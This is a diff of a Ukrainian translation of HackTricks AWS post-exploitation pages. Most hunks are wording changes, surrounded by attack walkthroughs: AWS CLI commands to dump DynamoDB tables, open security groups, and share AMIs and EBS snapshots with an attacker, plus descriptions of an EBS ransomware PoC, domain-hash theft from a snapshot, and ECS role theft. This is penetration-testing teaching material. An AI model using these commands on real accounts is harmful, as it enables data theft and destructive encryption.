По-друге, потрібно створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує специфічні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви.
|
||||
По-друге, потрібно буде створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує певні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
|
||||
+6
-6
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
З цим дозволом також можливо використовувати метод **`transact-get-items`** так:
|
||||
З цими дозволами також можливо використовувати метод **`transact-get-items`** так:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, враховуючи первинний ключ запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (яке повинно з'являтися) - це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті.
|
||||
**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису, який потрібно отримати. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (який повинен з'являтися), це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -124,7 +124,7 @@ aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Ця дозволяє виконувати `batch-execute-statement`, такі як:
|
||||
Ця дозволяє виконувати `batch-execute-statement`, наприклад:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів, маючи можливість додавати/модифікувати дані в таблиці DynamoDB
|
||||
**Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -269,7 +269,7 @@ aws dynamodb delete-backup \
|
||||
> [!NOTE]
|
||||
> TODO: Перевірити, чи це дійсно працює
|
||||
|
||||
Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю, щоб почати транслювати зміни, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних.
|
||||
Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового зміни даних, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних.
|
||||
|
||||
1. Увімкніть потік на таблиці DynamoDB:
|
||||
```bash
|
||||
@@ -284,7 +284,7 @@ bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Отримайте ітератор шардів, використовуючи ARN потоку:
|
||||
3. Отримайте ітератор шард за допомогою ARN потоку:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
|
||||
+20
-20
@@ -1,4 +1,4 @@
|
||||
# AWS - EC2, EBS, SSM & VPC Post Exploitation
|
||||
# AWS - EC2, EBS, SSM & VPC Постексплуатація
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Снімки є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\
|
||||
Якщо ви знайдете **том без снімка**, ви можете: **Створити снімок** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі:
|
||||
**Снапшоти є резервними копіями томів**, які зазвичай міститимуть **чутливу інформацію**, тому їх перевірка повинна розкрити цю інформацію.\
|
||||
Якщо ви знайдете **том без снапшота**, ви можете: **Створити снапшот** і виконати наступні дії або просто **підключити його до екземпляра** в обліковому записі:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -60,10 +60,10 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагувати дані через DNS**.
|
||||
Навіть якщо ви заблокуєте EC2, щоб жоден трафік не міг вийти, він все ще може **екстрагуватися через DNS**.
|
||||
|
||||
- **Журнали VPC Flow не зафіксують це**.
|
||||
- У вас немає доступу до журналів AWS DNS.
|
||||
- **VPC Flow Logs не зафіксують це**.
|
||||
- У вас немає доступу до AWS DNS журналів.
|
||||
- Вимкніть це, встановивши "enableDnsSupport" на false за допомогою:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
@@ -74,7 +74,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Open Security Group
|
||||
|
||||
Ви можете отримати подальший доступ до мережевих служб, відкривши порти таким чином:
|
||||
Ви можете отримати подальший доступ до мережевих сервісів, відкривши порти таким чином:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
@@ -106,7 +106,7 @@ aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. Отримайте тимчасові облікові дані Bastion EC2 AWS за допомогою скрипта [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment)
|
||||
4. Перенесіть облікові дані на свій комп'ютер у файл `$HOME/.aws/credentials` як профіль `[bastion-ec2]`
|
||||
5. Увійдіть в EKS як Bastion EC2:
|
||||
5. Увійдіть до EKS як Bastion EC2:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
@@ -115,13 +115,13 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашої власної машини, запустивши:
|
||||
8. Трафік з інструменту `kubectl` тепер перенаправляється через тунель SSM через Bastion EC2, і ви можете отримати доступ до приватного EKS кластера з вашого власного комп'ютера, запустивши:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний тунель AWS SSM, ви захищені від будь-яких атак MitM.
|
||||
Зверніть увагу, що SSL-з'єднання не вдасться встановити, якщо ви не встановите прапорець `--insecure-skip-tls-verify` (або його еквівалент у K8s audit tools). Оскільки трафік тунелюється через безпечний AWS SSM тунель, ви захищені від будь-яких атак MitM.
|
||||
|
||||
Нарешті, ця техніка не є специфічною для атак на приватні кластери EKS. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку.
|
||||
Нарешті, ця техніка не є специфічною для атак на приватні EKS кластери. Ви можете встановити довільні домени та порти для переходу до будь-якої іншої служби AWS або до власного застосунку.
|
||||
|
||||
### Share AMI
|
||||
```bash
|
||||
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### Пошук чутливої інформації в публічних та приватних AMI
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах Amazon Machine Images (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їхніх томів та сканування на наявність потенційних секретів або чутливих даних.
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel - це інструмент, призначений для **пошуку чутливої інформації в публічних або приватних образах машин Amazon (AMIs)**. Він автоматизує процес запуску екземплярів з цільових AMI, монтування їх томів та сканування на наявність потенційних секретів або чутливих даних.
|
||||
|
||||
### Поділитися знімком EBS
|
||||
```bash
|
||||
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках про пост-експлуатацію S3. KMS слід перейменувати на RMS для Ransomware Management Service, з огляду на те, як легко його використовувати для шифрування різних сервісів AWS.
|
||||
Доказ концепції, подібний до демонстрації Ransomware, показаної в нотатках з пост-експлуатації S3. KMS слід перейменувати на RMS для Ransomware Management Service, враховуючи, як легко його використовувати для шифрування різних сервісів AWS.
|
||||
|
||||
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований користувачем, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа за мене, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
|
||||
Спочатку з облікового запису 'атакуючого' AWS створіть ключ, керований клієнтом, у KMS. Для цього прикладу ми просто дозволимо AWS керувати даними ключа, але в реалістичному сценарії зловмисник зберігатиме дані ключа поза контролем AWS. Змініть політику ключа, щоб дозволити будь-якому обліковому запису AWS Principal використовувати ключ. Для цієї політики ключа ім'я облікового запису було 'AttackSim', а правило політики, що дозволяє весь доступ, називається 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -231,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
Правило політики ключа потребує наступного для дозволу на використання його для шифрування обсягу EBS:
|
||||
Правило політики ключа потребує активації наступних параметрів, щоб дозволити його використання для шифрування обсягу EBS:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -239,13 +239,13 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Тепер, з публічно доступним ключем для використання. Ми можемо використовувати обліковий запис 'жертви', який має кілька EC2 екземплярів з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є тим, що ми намагаємося зашифрувати, ця атака відбувається за припущенням про злом високопривілейованого облікового запису AWS.
|
||||
Тепер, маючи публічно доступний ключ для використання. Ми можемо використовувати обліковий запис 'жертви', в якому запущені деякі EC2 екземпляри з прикріпленими нешифрованими обсягами EBS. Обсяги EBS цього 'жертви' є нашою метою для шифрування, ця атака здійснюється за припущенням про злом облікового запису AWS з високими привілеями.
|
||||
|
||||
 
|
||||
|
||||
Схоже на приклад програм-вимагачів S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. 
|
||||
Подібно до прикладу з програмою-вимагачем S3. Ця атака створить копії прикріплених обсягів EBS, використовуючи знімки, використає публічно доступний ключ з облікового запису 'зловмисника' для шифрування нових обсягів EBS, потім від'єднає оригінальні обсяги EBS від EC2 екземплярів і видалить їх, а потім нарешті видалить знімки, використані для створення нових зашифрованих обсягів EBS. 
|
||||
|
||||
Це призводить до того, що в обліковому записі залишаються лише зашифровані обсяги EBS.
|
||||
В результаті залишаться лише зашифровані обсяги EBS, доступні в обліковому записі.
|
||||
|
||||
|
||||
|
||||
@@ -328,11 +328,11 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
|
||||
 
|
||||
|
||||
Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше цього не дозволяє.
|
||||
Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто зазнає невдачі і знову перейде з стану 'очікування' в стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше не дозволяє це.
|
||||
|
||||
 
|
||||
|
||||
Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів.
|
||||
Це скрипт на python, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи використаний KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
+9
-9
@@ -54,22 +54,22 @@ aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**Прикріпіть його до EC2 VM під вашим контролем** (він має бути в тому ж регіоні, що й копія резервної копії):
|
||||
**Підключіть його до EC2 VM під вашим контролем** (він має бути в тому ж регіоні, що й копія резервної копії):
|
||||
|
||||
Крок 1: Необхідно створити новий об'єм вашого вибраного розміру та типу, перейшовши до EC2 –> Об'єми.
|
||||
|
||||
Щоб виконати цю дію, виконайте такі команди:
|
||||
Щоб виконати цю дію, виконайте ці команди:
|
||||
|
||||
- Створіть об'єм EBS для підключення до EC2 екземпляра.
|
||||
- Переконайтеся, що об'єм EBS та екземпляр знаходяться в одній зоні.
|
||||
|
||||
Крок 2: Виберіть опцію "прикріпити об'єм", клацнувши правою кнопкою миші на створеному об'ємі.
|
||||
Крок 2: Виберіть опцію "підключити об'єм", клацнувши правою кнопкою миші на створеному об'ємі.
|
||||
|
||||
Крок 3: Виберіть екземпляр з текстового поля екземпляра.
|
||||
|
||||
Щоб виконати цю дію, використовуйте наступну команду:
|
||||
|
||||
- Прикріпіть об'єм EBS.
|
||||
- Підключіть об'єм EBS.
|
||||
|
||||
Крок 4: Увійдіть до екземпляра EC2 та перелікуйте доступні диски, використовуючи команду `lsblk`.
|
||||
|
||||
@@ -79,15 +79,15 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps
|
||||
|
||||
Крок 6: Форматуйте об'єм у файлову систему ext4, використовуючи команду `sudo mkfs -t ext4 /dev/xvdf`. Альтернативно, ви також можете використовувати формат xfs, використовуючи команду `sudo mkfs -t xfs /dev/xvdf`. Зверніть увагу, що ви повинні використовувати або ext4, або xfs.
|
||||
|
||||
Крок 7: Створіть каталог на ваш вибір для монтування нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume".
|
||||
Крок 7: Створіть каталог на ваш вибір для підключення нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume".
|
||||
|
||||
Щоб виконати цю дію, використовуйте команду `sudo mkdir /newvolume`.
|
||||
|
||||
Крок 8: Прикрепіть об'єм до каталогу "newvolume", використовуючи команду `sudo mount /dev/xvdf /newvolume/`.
|
||||
Крок 8: Підключіть об'єм до каталогу "newvolume", використовуючи команду `sudo mount /dev/xvdf /newvolume/`.
|
||||
|
||||
Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити монтування об'єму.
|
||||
Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити підключення об'єму.
|
||||
|
||||
Щоб виконати цю дію, використовуйте такі команди:
|
||||
Щоб виконати цю дію, використовуйте наступні команди:
|
||||
|
||||
- Змініть каталог на `/newvolume`.
|
||||
- Перевірте дисковий простір, використовуючи команду `df -h .`. Вихід цієї команди має показувати вільний простір у каталозі "newvolume".
|
||||
@@ -122,7 +122,7 @@ ls /mnt
|
||||
```
|
||||
## Shadow Copy
|
||||
|
||||
Будь-який користувач AWS, який має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх доменних користувачів, створивши **знімок Контролера домену**, змонтувавши його на екземплярі, який вони контролюють, і **експортувавши NTDS.dit та SYSTEM** реєстровий файл для використання з проектом secretsdump від Impacket.
|
||||
Будь-який користувач AWS, який має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх доменних користувачів, створивши **знімок Контролера домену**, підключивши його до екземпляра, який вони контролюють, і **експортувавши NTDS.dit та SYSTEM** реєстровий файл для використання з проектом secretsdump від Impacket.
|
||||
|
||||
Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка.
|
||||
|
||||
|
||||
+3
-3
@@ -2,14 +2,14 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
**Перевірте** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **для отримання додаткової інформації про атаку!**
|
||||
|
||||
Пасивна мережна інспекція в хмарному середовищі була **складною**, вимагала значних змін конфігурації для моніторингу мережевого трафіку. Однак AWS представила нову функцію під назвою “**VPC Traffic Mirroring**”, щоб спростити цей процес. З VPC Traffic Mirroring мережевий трафік у VPC може бути **дубльований** без встановлення будь-якого програмного забезпечення на самих екземплярах. Цей дубльований трафік може бути надісланий до системи виявлення мережевих вторгнень (IDS) для **аналізу**.
|
||||
Пасивна мережна інспекція в хмарному середовищі є **складною**, вимагаючи значних змін конфігурації для моніторингу мережевого трафіку. Однак AWS представила нову функцію під назвою “**VPC Traffic Mirroring**”, щоб спростити цей процес. Завдяки VPC Traffic Mirroring мережевий трафік у VPC може бути **дубльований** без встановлення будь-якого програмного забезпечення на самих екземплярах. Цей дубльований трафік може бути надісланий до системи виявлення мережевих вторгнень (IDS) для **аналізу**.
|
||||
|
||||
Щоб задовольнити потребу в **автоматизованому розгортанні** необхідної інфраструктури для дублювання та ексфільтрації трафіку VPC, ми розробили скрипт доведення концепції під назвою “**malmirror**”. Цей скрипт можна використовувати з **компрометованими AWS обліковими даними** для налаштування дублювання для всіх підтримуваних EC2 екземплярів у цільовому VPC. Важливо зазначити, що VPC Traffic Mirroring підтримується лише EC2 екземплярами, які працюють на системі AWS Nitro, і ціль дзеркала VPC повинна бути в тому ж VPC, що й дзеркальні хости.
|
||||
|
||||
**Вплив** зловмисного дублювання трафіку VPC може бути значним, оскільки це дозволяє зловмисникам отримувати доступ до **чутливої інформації**, що передається в межах VPC. **Ймовірність** такого зловмисного дублювання висока, враховуючи наявність **трафіку у відкритому тексті**, що проходить через VPC. Багато компаній використовують протоколи у відкритому тексті в своїх внутрішніх мережах з **причин продуктивності**, вважаючи, що традиційні атаки "людина посередині" неможливі.
|
||||
|
||||
Для отримання додаткової інформації та доступу до [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) його можна знайти в нашому **репозиторії GitHub**. Скрипт автоматизує та спрощує процес, роблячи його **швидким, простим і повторюваним** для цілей наступальних досліджень.
|
||||
Для отримання додаткової інформації та доступу до [**скрипту malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) його можна знайти в нашому **репозиторії GitHub**. Скрипт автоматизує та спрощує процес, роблячи його **швидким, простим і повторюваним** для цілей наступальних досліджень.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECR
|
||||
|
||||
Для отримання додаткової інформації перегляньте
|
||||
Для отримання додаткової інформації перевірте
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
|
||||
+3
-3
@@ -20,15 +20,15 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра.
|
||||
> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість переходів 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти до вузла або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**.
|
||||
Більше того, EC2 використовує docker для виконання завдань ECs, тому якщо ви зможете втекти на вузол або **отримати доступ до сокета docker**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **потрапити всередину них** та **вкрасти їх IAM ролі**.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли в кластері. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера.
|
||||
Крім того, **роль EC2 екземпляра** зазвичай матиме достатньо **дозволів** для **оновлення стану контейнерного екземпляра** EC2 екземплярів, що використовуються як вузли всередині кластера. Зловмисник може змінити **стан екземпляра на DRAINING**, тоді ECS **видалить всі завдання з нього**, а ті, що виконуються як **REPLICA**, будуть **виконуватися в іншому екземплярі**, потенційно всередині **екземпляра зловмисника**, щоб він міг **вкрасти їх IAM ролі** та потенційно чутливу інформацію зсередини контейнера.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
|
||||
+1
-1
@@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` та `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу і потенційно надаючи собі несанкціонований доступ до файлової системи.
|
||||
Зловмисник може створити або видалити точки доступу, змінюючи контроль доступу та потенційно надаючи собі несанкціонований доступ до файлової системи.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
|
||||
+12
-12
@@ -1,4 +1,4 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
# AWS - EKS Постексплуатація
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати об'єкти Kubernetes** через консоль AWS EKS ([Дізнайтеся більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Підключення до AWS Kubernetes Cluster
|
||||
### Підключення до AWS Kubernetes Кластера
|
||||
|
||||
- Легкий спосіб:
|
||||
```bash
|
||||
@@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev
|
||||
|
||||
Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name <cluster_name>`**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати свій власний `~/.kube/config`**. Однак, маючи токен, вам все ще потрібен **url-адреса для підключення** (якщо вам вдалося отримати JWT токен з поду, читайте [тут](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) і **назва кластера**.
|
||||
|
||||
У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name):
|
||||
У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemaplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
@@ -72,28 +72,28 @@ provideClusterInfo: false
|
||||
|
||||
### Від AWS до Kubernetes
|
||||
|
||||
**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього матеріалу **немає прямого способу** дізнатися **хто створив** кластер (ви можете перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**.
|
||||
**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього тексту **немає прямого способу** дізнатися **хто створив** кластер (можна перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**.
|
||||
|
||||
Спосіб надати **доступ до K8s для більшої кількості користувачів або ролей AWS IAM** - це використання **configmap** **`aws-auth`**.
|
||||
Спосіб надати **доступ до K8s для більше AWS IAM користувачів або ролей** - це використання **configmap** **`aws-auth`**.
|
||||
